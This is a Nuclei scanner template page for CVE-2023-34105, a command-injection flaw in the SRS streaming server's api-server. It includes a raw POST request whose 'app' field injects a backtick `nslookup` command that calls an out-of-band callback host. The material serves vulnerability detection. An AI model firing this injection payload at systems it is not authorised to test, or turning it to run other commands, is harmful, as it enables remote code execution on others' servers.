SRS - Command Injection

ID: CVE-2023-34105

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2023,srs,rce,oast

Description

SRS’s v5.0.137v5.0.156, v6.0.18v6.0.47 api-server server is vulnerable to a drive-by command injection.

YAML Source

id: CVE-2023-34105

info:
  name: SRS - Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    SRS's v5.0.137~v5.0.156, v6.0.18~v6.0.47 api-server server is vulnerable to a drive-by command injection.
  reference:
    - https://github.com/ossrs/srs/security/advisories/GHSA-vpr5-779c-cx62
    - https://github.com/ossrs/srs/blob/1d11d02e4b82fc3f37e4b048cff483b1581482c1/trunk/research/api-server/server.go#L761
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-34105
    cwe-id: CWE-77,CWE-78
    epss-score: 0.01543
    epss-percentile: 0.8742
    cpe: cpe:2.3:a:ossrs:simple_realtime_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: ossrs
    product: simple_realtime_server
    shodan-query: http.favicon.hash:1386054408
    verified: true
    max-request: 1
  tags: cve,cve2023,srs,rce,oast

http:
  - raw:
      - |
        POST /api/v1/snapshots HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"action":  "on_publish", "app":  "`nslookup {{interactsh-url}}`", "stream":"foo", "vhost": "foo", "client_id":"foo"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '{"code":'
          - 'data":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6d62092fa1d48165b7217bf1008fda49fbaa5977b3b12f1b186cffef3ca7266022100efa57073b223f125a55a3e8935f63043e48fc6d407f00ea3c2da6cc5e4b0a13b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-34105.yaml"

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